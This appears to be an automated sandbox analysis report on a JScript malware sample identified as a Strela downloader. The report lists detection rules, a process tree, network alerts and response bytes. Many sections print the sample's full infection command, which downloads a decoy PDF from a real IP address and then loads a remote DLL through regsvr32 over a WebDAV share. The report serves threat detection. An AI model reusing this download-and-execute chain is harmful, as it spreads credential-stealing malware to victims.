Edit tour

Windows Analysis Report
522327491130758262.js

Overview

General Information

Sample name:	522327491130758262.js
Analysis ID:	1588847
MD5:	64ada06f607c7f6e17a4d0b63b6a9823
SHA1:	d98ee62bb93726f64b88268af8e5159a1ac2af38
SHA256:	c9fabeb549d6bad0628df869c02d0fab97d3cfc71fd2bbbf3721167c28a04911
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7500 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7588 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7636 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7812 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8040 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7308 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1644,i,2973782454620133197,160051781018854602,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7828 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7856 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8104 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7500	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7636, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7636, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", ProcessId: 7500, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7856, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49777

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, ProcessId: 7588, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", ProcessId: 7500, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7588, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7636, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7828, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7856, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8104, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7828, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7856, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\522327491130758262.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7500, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\501899121645.dll, ProcessId: 7588, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:14:13.185152+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49756	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:14:15.927761+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49777	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:14:13.185152+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49756	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 522327491130758262.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 522327491130758262.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 522327491130758262.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49777 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49756 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:14:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

